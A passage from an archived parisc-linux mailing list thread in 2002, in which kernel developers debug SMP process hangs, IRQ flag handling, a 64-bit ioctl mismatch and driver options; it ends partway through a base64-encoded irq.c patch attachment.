X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Tue, 11 Jun 2002 13:39:38 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <02061113393800.04435@localhost.localdomain>
References: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr> <02061107100403.00732@localhost.localdomain> <20020611145848.GA2796@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621389 8951 80.91.229.3 (22 Nov 2014 01:56:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 12:48:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (mail.goquest.com [63.172.73.8])
	by dsl2.external.hp.com (Postfix) with SMTP id 10B4C4853
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 12:48:06 -0600 (MDT)
Original-Received: (qmail 22972 invoked from network); 11 Jun 2002 18:47:52 -0000
Original-Received: from unknown (HELO localhost.localdomain) (65.162.253.25)
  by mail.goquest.com with SMTP; 11 Jun 2002 18:47:52 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20020611145848.GA2796@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15076

On Tuesday 11 June 2002 09:58 am, Randolph Chung wrote:
>
> think we are looking at multiple bugs here.....
>
Very likely...
You might check the HPPA version of:

arch/i386/kernel/irq.c::__global_save_flags.

using objdump -d on the kernel.o produced by my compiler
(a different version of GCC than used for pa-risc) I find that
for the "c" code sequence:
....
int cpu = smp_processor_id() ;

__save_flags(flags) ;
....
generates assembly code which modifies the flags during the
initialization of "cpu" before the flags are actually saved.
....
in the pa-risc branch, try the equivalent of:
....
int cpu ;
....
__save_flags(flags) ;
....
cpu = smp_processor_id() ;
....

Mike



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Tue, 11 Jun 2002 15:39:29 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020611213929.C75684854@dsl2.external.hp.com>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com>  <3D053341.571CF331@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621389 8953 80.91.229.3 (22 Nov 2014 01:56:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:29 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 15:39:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C75684854; Tue, 11 Jun 2002 15:39:29 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Tue, 11 Jun 2002 01:16:17 +0200." <3D053341.571CF331@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15077

Christoph Plattner wrote:
> http://cvsweb.netbsd.org/bsdweb.cgi/syssrc/sys/arch/newsmips/apbus/

This looks like it's the right driver for the HP-PB SE SCSI.
I noticed that SDTR isn't supported.
But it's a starting point.

grant



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with ioctl and 64bits
Date: Tue, 11 Jun 2002 15:47:09 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020611214710.1330F4856@dsl2.external.hp.com>
References: <3D04BD42.446D930@admin.france.hp.com> <20020610152428.GB5876@tausq.org> <3D059013.9272EEEA@admin.france.hp.com>  <3D05E1C1.DF69D5B@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621390 8955 80.91.229.3 (22 Nov 2014 01:56:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:30 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 15:47:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1330F4856; Tue, 11 Jun 2002 15:47:10 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Tue, 11 Jun 2002 13:40:49 +0200." <3D05E1C1.DF69D5B@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15078

Bruno Vidal wrote:
> 	Haaaaa, I've succeded at the end. Now ioctls are working fine.

Excellent!

> Sorry, I beg your pardon, the probleme was coming from the manner I
> declare my ioctls cmds. With 64bits kernel it is:
> #define DIOSDUMPDEV32             _IOW('p',0xa0,unsigned int) 
> And in user space it is (32 bits):
> #define DIOSDUMPDEV32             _IOW('p',0xa0,unsigned long)

shouldn't both kernel and user space use the same definition?
(ie unsigned int)
If they don't, I expect the ioctl wrapper to do some work.

grant



From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gianpiero Fasulo" <gfasulo@kingcom.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel compiling problem
Date: Wed, 12 Jun 2002 10:40:33 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <000701c211ec$d0e640a0$86000a0a@kingdom>
References: <012801c21122$35e2a000$86000a0a@kingdom> <20020611123839.H27449@parcelfarce.linux.theplanet.co.uk> <002b01c21163$c2ac4720$86000a0a@kingdom> <20020611172524.K27449@parcelfarce.linux.theplanet.co.uk> <006901c21165$e2c7a8e0$86000a0a@kingdom> <20020611185549.L27449@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621390 8958 80.91.229.3 (22 Nov 2014 01:56:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:30 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 02:38:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from kingcom.it (unknown [217.172.128.27])
	by dsl2.external.hp.com (Postfix) with SMTP id 2D8A3484B
	for <parisc-linux@parisc-linux.org>; Wed, 12 Jun 2002 02:38:26 -0600 (MDT)
Original-Received: (qmail 18482 invoked from network); 12 Jun 2002 09:06:06 -0000
Original-Received: from unknown (HELO gfasulo) (10.10.0.134)
  by 0 with SMTP; 12 Jun 2002 09:06:06 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15079

Sorry for the disturb!
If You see any my e-mail to the list, please don't reply me!


----- Original Message -----
From: "Matthew Wilcox" <willy@debian.org>
To: "Gianpiero Fasulo" <gfasulo@kingcom.it>
Cc: "Matthew Wilcox" <willy@debian.org>; <parisc-linux@parisc-linux.org>
Sent: Tuesday, June 11, 2002 7:55 PM
Subject: Re: Kernel compiling problem


> On Tue, Jun 11, 2002 at 06:34:41PM +0200, Gianpiero Fasulo wrote:
> > HI,
> > i don't want to modify .config by hand, but when i give make oldconfig,
the
> > CONFIG_PARISC in not CONFIG_PARISC64.
> > OK?
>
> you always get CONFIG_PARISC.  you get CONFIG_PARISC64 as well if you
> select it.
>
> stop trimming the list from your replies -- this isn't a free help
> service for you alone.
>
> --
> Revolutions do not require corporate support.
>




From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Wed, 12 Jun 2002 12:49:15 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <0A06D350-7DF2-11D6-97C5-0030656F07A2@esiee.fr>
References: <1023773807.7353.19.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621390 8960 80.91.229.3 (22 Nov 2014 01:56:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, grundler@cup.hp.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 04:49:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF8464857
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 04:49:16 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id E56C649CB2; Wed, 12 Jun 2002 12:49:15 +0200 (CEST)
In-Reply-To: <1023773807.7353.19.camel@beavis>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15080

Hi all,

We hung again our A500  :/

Still the same symptoms.

It seems that it is the seti process that hung it:
We can access info in /proc/1/, but nothing about the seti process:
see the following:
[varenet@mkhppa3 ~]$ cat seti1/pid.sah
5972
[varenet@mkhppa3 ~]$ ls /proc/5972/

And the command would not return.

We issued a 'w' that got hung too, but we can still access its proc info:
[varenet@mkhppa3 /proc]$ cat 6576/cmdline
w
[varenet@mkhppa3 /proc]$ cat 6576/mem
cat: 6576/mem: No such process
[varenet@mkhppa3 /proc]$ cat 6576/status
Name:   w
State:  D (disk sleep)
Tgid:   6576
Pid:    6576
PPid:   1
TracerPid:      0
Uid:    1001    1001    1001    1001
Gid:    100     100     100     100
FDSize: 256
Groups: 100
VmSize:     1912 kB
VmLck:         0 kB
VmRSS:       812 kB
VmData:       76 kB
VmStk:         0 kB
VmExe:        12 kB
VmLib:      1420 kB
SigPnd: 0000000000000001
SigBlk: 0000000000000000
SigIgn: 8000000000000000
SigCgt: 0000000000000000
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000

Of course, a 'kill -9 6576' would do nothing.

We can also access the info about the distributed.net client, which 
seems to be hang too:
[varenet@mkhppa3 /proc]$ cat 224/status
Name:   dnetc
State:  D (disk sleep)
Tgid:   224
Pid:    224
PPid:   1
TracerPid:      0
Uid:    1001    1001    1001    1001
Gid:    100     100     100     100
FDSize: 64
Groups: 100
VmSize:     2300 kB
VmLck:         0 kB
VmRSS:      1136 kB
VmData:       84 kB
VmStk:         0 kB
VmExe:       348 kB
VmLib:      1368 kB
SigPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 8000000000001000
SigCgt: 0000000003004027
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000

Now we are about to test with only 2 dnetc, no seti, to see whether it 
crashes or not.

We'll keep the m-l informed.

Greetings,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Wed, 12 Jun 2002 08:45:40 -0500
Lines: 145
Approved: news@gmane.org
Message-ID: <02061208454000.00732@localhost.localdomain>
References: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr> <20020611145848.GA2796@tausq.org> <02061113393800.04435@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  charset="iso-8859-1";
  boundary="------------Boundary-00=_48ILNKL7Q657NL4ICRPL"
X-Trace: ger.gmane.org 1416621390 8964 80.91.229.3 (22 Nov 2014 01:56:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:30 +0000 (UTC)
Cc: mszick@MoreThan.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 07:54:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (mail.goquest.com [63.172.73.8])
	by dsl2.external.hp.com (Postfix) with SMTP id 8D8C54858
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 07:54:10 -0600 (MDT)
Original-Received: (qmail 26449 invoked from network); 12 Jun 2002 13:54:01 -0000
Original-Received: from unknown (HELO localhost.localdomain) (65.162.253.38)
  by mail.goquest.com with SMTP; 12 Jun 2002 13:54:01 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <02061113393800.04435@localhost.localdomain>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15081

--------------Boundary-00=_48ILNKL7Q657NL4ICRPL
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

On Tuesday 11 June 2002 01:39 pm, Michael S. Zick wrote:
> On Tuesday 11 June 2002 09:58 am, Randolph Chung wrote:
> > think we are looking at multiple bugs here.....
>
> Very likely...
Sirs...
I now have a definate lead for the x86-SMP case, which might 
aid the troubleshooters in the pa-risc branch (diff's attached).

Evidently, some code path is causing these portions of IRQ 
service to be entered with the IRQ state not as designed.

These patches preserve callers interrupt state, eliminating
the erratic behavior, which is only an artifact of the true cause.

True cause still unknown.

Additional note: On the HP models with the worst of the problems;
is the physical_cpu_id and the logical_cpu_id a 1:1 mapping as
it is on x86 systems?

Mike

--------------Boundary-00=_48ILNKL7Q657NL4ICRPL
Content-Type: text/x-c;
  charset="iso-8859-1";
  name="irq.c.diff"
Content-Transfer-Encoding: base64
Content-Description: x86 branch, don't presume IRQ state
Content-Disposition: attachment; filename="irq.c.diff"

LS0tIGxpbnV4LTIuNC4xOC9hcmNoL2kzODYva2VybmVsL2lycS5jLm9yZwlUaHUgT2N0IDI1IDE1
OjUzOjQ2IDIwMDEKKysrIGxpbnV4LTIuNC4xOC9hcmNoL2kzODYva2VybmVsL2lycS5jCVR1ZSBK
dW4gMTEgMTk6MDk6MTQgMjAwMgpAQCAtMzg3LDcgKzM4Nyw3IEBACiAJaW50IHJldHZhbDsKIAlp
bnQgbG9jYWxfZW5hYmxlZDsKIAl1bnNpZ25lZCBsb25nIGZsYWdzOwotCWludCBjcHUgPSBzbXBf
cHJvY2Vzc29yX2lkKCk7CisJaW50IGNwdSA7ICAvKiBkb24ndCBpbml0aWFsaXplIGNwdSBoZXJl
LCBpdCBjaGFuZ2VzIHRoZSBmbGFncyAtIE1TWiAqLwogCiAJX19zYXZlX2ZsYWdzKGZsYWdzKTsK
IAlsb2NhbF9lbmFibGVkID0gKGZsYWdzID4+IEVGTEFHU19JRl9TSElGVCkgJiAxOwpAQCAtMzk1
LDYgKzM5NSw3IEBACiAJcmV0dmFsID0gMiArIGxvY2FsX2VuYWJsZWQ7CiAKIAkvKiBjaGVjayBm
b3IgZ2xvYmFsIGZsYWdzIGlmIHdlJ3JlIG5vdCBpbiBhbiBpbnRlcnJ1cHQgKi8KKwljcHUgPSBz
bXBfcHJvY2Vzc29yX2lkKCk7CiAJaWYgKCFsb2NhbF9pcnFfY291bnQoY3B1KSkgewogCQlpZiAo
bG9jYWxfZW5hYmxlZCkKIAkJCXJldHZhbCA9IDE7CkBAIC01MDcsOSArNTA4LDEyIEBACiAgCiB2
b2lkIGRpc2FibGVfaXJxKHVuc2lnbmVkIGludCBpcnEpCiB7CisJaW50IGNwdV9pZCA7CisKIAlk
aXNhYmxlX2lycV9ub3N5bmMoaXJxKTsKKwljcHVfaWQgPSBzbXBfcHJvY2Vzc29yX2lkKCkgOwog
Ci0JaWYgKCFsb2NhbF9pcnFfY291bnQoc21wX3Byb2Nlc3Nvcl9pZCgpKSkgeworCWlmICghbG9j
YWxfaXJxX2NvdW50KGNwdV9pZCkpIHsKIAkJZG8gewogCQkJYmFycmllcigpOwogCQkJY3B1X3Jl
bGF4KCk7CkBAIC04MDYsNiArODEwLDcgQEAKIAlpcnFfZGVzY190ICpkZXNjOwogCXVuc2lnbmVk
IGxvbmcgdmFsOwogCXVuc2lnbmVkIGxvbmcgZGVsYXk7CisJdW5zaWduZWQgbG9uZyBmbGFnczsg
IC8qIERvbid0IHByZXN1bWUgaW50ZXJydXB0IHN0YXRlIC0gTVNaICovCiAKIAlkb3duKCZwcm9i
ZV9zZW0pOwogCS8qIApAQCAtODE1LDEwICs4MjAsMTIgQEAKIAlmb3IgKGkgPSBOUl9JUlFTLTE7
IGkgPiAwOyBpLS0pICB7CiAJCWRlc2MgPSBpcnFfZGVzYyArIGk7CiAKLQkJc3Bpbl9sb2NrX2ly
cSgmZGVzYy0+bG9jayk7CisJCXNwaW5fbG9ja19pcnFzYXZlKCZkZXNjLT5sb2NrLGZsYWdzKTsK
Ky8qIE1TWgkJc3Bpbl9sb2NrX2lycSgmZGVzYy0+bG9jayk7ICovCiAJCWlmICghaXJxX2Rlc2Nb
aV0uYWN0aW9uKSAKIAkJCWlycV9kZXNjW2ldLmhhbmRsZXItPnN0YXJ0dXAoaSk7Ci0JCXNwaW5f
dW5sb2NrX2lycSgmZGVzYy0+bG9jayk7CisJCXNwaW5fdW5sb2NrX2lycXJlc3RvcmUoJmRlc2Mt
PmxvY2ssZmxhZ3MpOworLyogTVNaCQlzcGluX3VubG9ja19pcnEoJmRlc2MtPmxvY2spOyAqLwog
CX0KIAogCS8qIFdhaXQgZm9yIGxvbmdzdGFuZGluZyBpbnRlcnJ1cHRzIHRvIHRyaWdnZXIuICov
CkBAIC04MzMsMTMgKzg0MCwxNSBAQAogCWZvciAoaSA9IE5SX0lSUVMtMTsgaSA+IDA7IGktLSkg
ewogCQlkZXNjID0gaXJxX2Rlc2MgKyBpOwogCi0JCXNwaW5fbG9ja19pcnEoJmRlc2MtPmxvY2sp
OworCQlzcGluX2xvY2tfaXJxc2F2ZSgmZGVzYy0+bG9jayxmbGFncyk7CisvKiBNU1oJCXNwaW5f
bG9ja19pcnEoJmRlc2MtPmxvY2spOyAqLwogCQlpZiAoIWRlc2MtPmFjdGlvbikgewogCQkJZGVz
Yy0+c3RhdHVzIHw9IElSUV9BVVRPREVURUNUIHwgSVJRX1dBSVRJTkc7CiAJCQlpZiAoZGVzYy0+
aGFuZGxlci0+c3RhcnR1cChpKSkKIAkJCQlkZXNjLT5zdGF0dXMgfD0gSVJRX1BFTkRJTkc7CiAJ
CX0KLQkJc3Bpbl91bmxvY2tfaXJxKCZkZXNjLT5sb2NrKTsKKwkJc3Bpbl91bmxvY2tfaXJxcmVz
dG9yZSgmZGVzYy0+bG9jayxmbGFncyk7CisvKiBNU1oJCXNwaW5fdW5sb2NrX2lycSgmZGVzYy0+
bG9jayk7ICovCiAJfQogCiAJLyoKQEAgLTg1Niw3ICs4NjUsOCBAQAogCQlpcnFfZGVzY190ICpk
ZXNjID0gaXJxX2Rlc2MgKyBpOwogCQl1bnNpZ25lZCBpbnQgc3RhdHVzOwogCi0JCXNwaW5fbG9j
a19pcnEoJmRlc2MtPmxvY2spOworCQlzcGluX2xvY2tfaXJxc2F2ZSgmZGVzYy0+bG9jayxmbGFn
cyk7CisvKiBNU1oJCXNwaW5fbG9ja19pcnEoJmRlc2MtPmxvY2spOyAqLwogCQlzdGF0dXMgPSBk
ZXNjLT5zdGF0dXM7CiAKIAkJaWYgKHN0YXR1cyAmIElSUV9BVVRPREVURUNUKSB7CkBAIC04Njgs
NyArODc4LDggQEAKIAkJCQlpZiAoaSA8IDMyKQogCQkJCQl2YWwgfD0gMSA8PCBpOwogCQl9Ci0J
CXNwaW5fdW5sb2NrX2lycSgmZGVzYy0+bG9jayk7CisJCXNwaW5fdW5sb2NrX2lycXJlc3RvcmUo
JmRlc2MtPmxvY2ssZmxhZ3MpOworLyogTVNaCQlzcGluX3VubG9ja19pcnEoJmRlc2MtPmxvY2sp
OyAqLwogCX0KIAogCXJldHVybiB2YWw7CkBAIC04OTUsMTMgKzkwNiwxNSBAQAogewogCWludCBp
OwogCXVuc2lnbmVkIGludCBtYXNrOworCXVuc2lnbmVkIGludCBmbGFnczsgIC8qIGRvbid0IHBy
ZXN1bWUgaW50ZXJydXB0IHN0YXRlIC0gTVNaICovCiAKIAltYXNrID0gMDsKIAlmb3IgKGkgPSAw
OyBpIDwgTlJfSVJRUzsgaSsrKSB7CiAJCWlycV9kZXNjX3QgKmRlc2MgPSBpcnFfZGVzYyArIGk7
CiAJCXVuc2lnbmVkIGludCBzdGF0dXM7CiAKLQkJc3Bpbl9sb2NrX2lycSgmZGVzYy0+bG9jayk7
CisJCXNwaW5fbG9ja19pcnFzYXZlKCZkZXNjLT5sb2NrLGZsYWdzKTsKKy8qIE1TWgkJc3Bpbl9s
b2NrX2lycSgmZGVzYy0+bG9jayk7ICovCiAJCXN0YXR1cyA9IGRlc2MtPnN0YXR1czsKIAogCQlp
ZiAoc3RhdHVzICYgSVJRX0FVVE9ERVRFQ1QpIHsKQEAgLTkxMSw3ICs5MjQsOCBAQAogCQkJZGVz
Yy0+c3RhdHVzID0gc3RhdHVzICYgfklSUV9BVVRPREVURUNUOwogCQkJZGVzYy0+aGFuZGxlci0+
c2h1dGRvd24oaSk7CiAJCX0KLQkJc3Bpbl91bmxvY2tfaXJxKCZkZXNjLT5sb2NrKTsKKwkJc3Bp
bl91bmxvY2tfaXJxcmVzdG9yZSgmZGVzYy0+bG9jayxmbGFncyk7CisvKiBNU1oJCXNwaW5fdW5s
b2NrX2lycSgmZGVzYy0+bG9jayk7ICovCiAJfQogCXVwKCZwcm9iZV9zZW0pOwogCkBAIC05NTAs
OCArOTY0LDEwIEBACiAJZm9yIChpID0gMDsgaSA8IE5SX0lSUVM7IGkrKykgewogCQlpcnFfZGVz
Y190ICpkZXNjID0gaXJxX2Rlc2MgKyBpOwogCQl1bnNpZ25lZCBpbnQgc3RhdHVzOworCQl1bnNp
Z25lZCBsb25nIGZsYWdzOyAgLyogRG9uJ3QgcHJlc3VtZSBpbnRlcnJ1cHQgc3RhdGUgLSAgTVNa
ICovCiAKLQkJc3Bpbl9sb2NrX2lycSgmZGVzYy0+bG9jayk7CisJCXNwaW5fbG9ja19pcnFzYXZl
KCZkZXNjLT5sb2NrLGZsYWdzKTsKKy8qIE1TWgkJc3Bpbl9sb2NrX2lycSgmZGVzYy0+bG9jayk7
ICovCiAJCXN0YXR1cyA9IGRlc2MtPnN0YXR1czsKIAogCQlpZiAoc3RhdHVzICYgSVJRX0FVVE9E
